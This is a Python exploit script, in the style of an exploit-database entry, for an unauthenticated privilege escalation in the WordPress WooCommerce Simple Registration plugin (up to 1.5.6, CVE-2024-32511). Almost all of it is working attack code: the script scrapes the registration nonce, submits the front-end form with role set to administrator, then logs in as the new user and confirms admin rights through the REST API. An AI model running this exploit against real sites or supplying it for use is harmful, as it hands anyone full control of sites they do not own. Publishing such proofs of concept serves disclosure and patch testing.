📄 WordPress WooCommerce Simple Registration 1.5.6 Unauthenticated Privilege Escalation

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin WooCommerce Simple Registration <= 1.5.6 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/woocommerce-simple-registration/
    # Software Link: https://downloads.wordpress.org/plugin/woocommerce-simple-registration.1.5.6.zip
    # Version: 1.5.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-32511
    """
    WooCommerce Simple Registration <= 1.5.6 hooks update_user_register() on user_register and calls
    wp_update_user(['role' => $_POST['role']]) with NO whitelist/validation (woocommerce-simple-
    registration.php:252). An unauthenticated visitor submitting the front-end registration form
    (shortcode [woocommerce_simple_registration]) with role=administrator becomes an administrator.
    
    Prior state: WooCommerce active, customer registration enabled, a page with the shortcode.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--reg-path", default="/wcreg/")
        ap.add_argument("--user", default="wsr" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        html = s.get(base + args.reg_path).text
        m = re.search(r'name="woocommerce-register-nonce"\s+value="([a-f0-9]+)"', html)
        nonce = m.group(1) if m else None
        print(f"[*] Target: {base}{args.reg_path} | nonce: {nonce}")
        r = s.post(base + args.reg_path,
                   data={"username": args.user, "email": args.user + "@evil.com", "password": args.pw,
                         "role": "administrator", "register": "Register",
                         "woocommerce-register-nonce": nonce, "_wpnonce": nonce}, allow_redirects=True)
        print(f"[*] register -> HTTP {r.status_code}")
        # prove: log in as the new user and check admin dashboard access
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        logged = any("wordpress_logged_in" in c.name for c in a.cookies)
        rest_nonce = a.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        me = a.get(base + "/wp-json/wp/v2/users/me?context=edit",
                   headers={"X-WP-Nonce": rest_nonce}) if logged else None
        try:
            roles = me.json().get("roles", []) if me is not None else []
        except ValueError:
            roles = []
        print(f"[*] new user login: {logged} | REST self roles: {roles}")
        if logged and "administrator" in roles:
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED — new user '{args.user}' is an administrator.")
            return 0
        print("\n[-] not confirmed (registration open? nonce? role not elevated)")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())